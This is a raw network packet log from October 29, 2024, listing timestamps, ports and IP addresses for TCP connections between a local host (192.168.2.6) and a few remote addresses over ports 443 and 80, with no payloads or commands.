Oct 29, 2024 17:59:11.791796923 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.791820049 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.792500019 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.792505980 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.796909094 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.797344923 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.797377110 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.797987938 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.797992945 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.817142963 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.818284988 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.818311930 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.818820000 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.818825960 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.889465094 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:11.889671087 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:11.892930984 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:11.892942905 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:11.893176079 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:11.895977020 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:11.896136999 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:11.896145105 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:11.896306992 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:11.914819002 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.914906025 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.914995909 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.915168047 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.915209055 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.915235996 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.915252924 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.918041945 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.918077946 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.918149948 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.918314934 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.918330908 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.925937891 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.926136971 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.926192045 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.926316977 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.926343918 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.926358938 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.926366091 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.927655935 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.927859068 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.927928925 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.928082943 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.928096056 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.928121090 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.928129911 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.928601027 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.928638935 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.928700924 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.928889990 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.928901911 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.930202007 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.930222034 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.930308104 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.930455923 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.930470943 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.943336010 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:11.951206923 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.951622963 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.951699972 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.951812029 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.951828957 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.951839924 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.951843977 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.954035997 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.954050064 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.954140902 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.954328060 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.954338074 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.978142977 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:11.978337049 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:11.981939077 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:11.987366915 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.062695980 CET	443	49706	173.222.162.64	192.168.2.6
Oct 29, 2024 17:59:12.062895060 CET	49706	443	192.168.2.6	173.222.162.64
Oct 29, 2024 17:59:12.146420956 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:12.147344112 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:12.147344112 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:12.147378922 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:12.147490025 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:12.276669025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.277038097 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.300744057 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.306193113 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.444209099 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.444668055 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.444700003 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.445322990 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.445328951 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.574826956 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.575113058 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.575192928 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.577389002 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.577409983 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.577424049 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.577430964 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.584845066 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.584880114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.585032940 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.597929955 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.597970963 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.598190069 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.598481894 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.598567009 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.598589897 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.603818893 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.648379087 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.651681900 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.667444944 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.667462111 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.668119907 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.668126106 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.668292999 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.669074059 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.669087887 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.670047045 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.670053959 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.670356035 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.670381069 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.670783043 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.670787096 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.704936981 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.706075907 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.706089973 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.706643105 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.706648111 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.795747995 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.795964956 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.796035051 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.796078920 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.796078920 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.796096087 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.796108007 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.798369884 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.798401117 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.798486948 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.798572063 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.798593998 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.798613071 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.798770905 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.798837900 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.798856974 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.798862934 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.798887968 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.798893929 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.799571991 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.799791098 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.799851894 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.799886942 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.799886942 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.799901009 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.799911022 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.800981045 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.801000118 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.801080942 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.801244974 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.801254034 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.802056074 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.802071095 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.802146912 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.802294970 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.802309036 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.839365959 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.839495897 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.839565992 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.839622974 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.839632034 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.839683056 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.839688063 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.841854095 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.841902018 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.841968060 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.842117071 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:12.842129946 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:12.882960081 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.882982969 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.882996082 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.883074999 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.883074999 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.883135080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.883148909 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.883163929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.883188009 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.883228064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.883714914 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:12.883781910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.885257006 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:12.890635967 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.169229031 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.169327021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:13.190071106 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:13.190071106 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:13.195579052 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.195595026 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.195605040 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.195626020 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.195635080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.195646048 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.334841013 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.335422039 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.335454941 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.336126089 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.336133957 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.463850975 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.464124918 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.464193106 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.464226007 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.464226007 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.464246988 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.464257956 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.467293978 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.467349052 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.467454910 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.467576027 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.467587948 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.527420044 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.527889013 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.527898073 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.528326035 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.528342009 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.531352043 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.531745911 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.531758070 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.532335997 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.532341957 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.575735092 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.576136112 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.576145887 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.576531887 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.576546907 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.586585999 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.586929083 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.586955070 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.587461948 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.587466955 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.657572985 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.657700062 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.657788992 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.657962084 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.657968044 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.657990932 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.657995939 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.660969019 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.661005974 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.661216974 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.661463022 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.661474943 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.661617041 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.661747932 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.661804914 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.661848068 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.661868095 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.661878109 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.661883116 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.664427996 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.664472103 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.664546967 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.664668083 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.664681911 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.713711023 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.713855982 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.713912964 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.714062929 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.714082956 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.714097023 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.714102983 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.716895103 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.716927052 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.717012882 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.717143059 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.717152119 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.720405102 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.720556974 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.720606089 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.720649004 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.720663071 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.720674992 CET	49732	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.720679045 CET	443	49732	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.722666025 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.722722054 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.722815990 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.722946882 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:13.722978115 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:13.981545925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:13.981612921 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.293926001 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.299442053 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.358889103 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.366660118 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.366677999 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.367288113 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.367292881 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.389799118 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.390259981 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.390275955 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.390605927 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.390610933 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.407116890 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.407408953 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.407418966 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.407716990 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.407721996 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.449243069 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.449640036 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.449672937 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.449963093 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.449974060 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.494992018 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.495079994 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.495177984 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.495279074 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.495295048 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.495305061 CET	49733	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.495311022 CET	443	49733	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.497549057 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.497615099 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.497704029 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.497807980 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.497817993 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.522742033 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.522882938 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.522952080 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.522994041 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.523014069 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.523027897 CET	49734	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.523034096 CET	443	49734	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.525304079 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.525371075 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.525461912 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.525722027 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.525751114 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.541593075 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.541676044 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.541738033 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.541805983 CET	49735	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.541819096 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.541832924 CET	49735	443	192.168.2.6	13.107.246.45
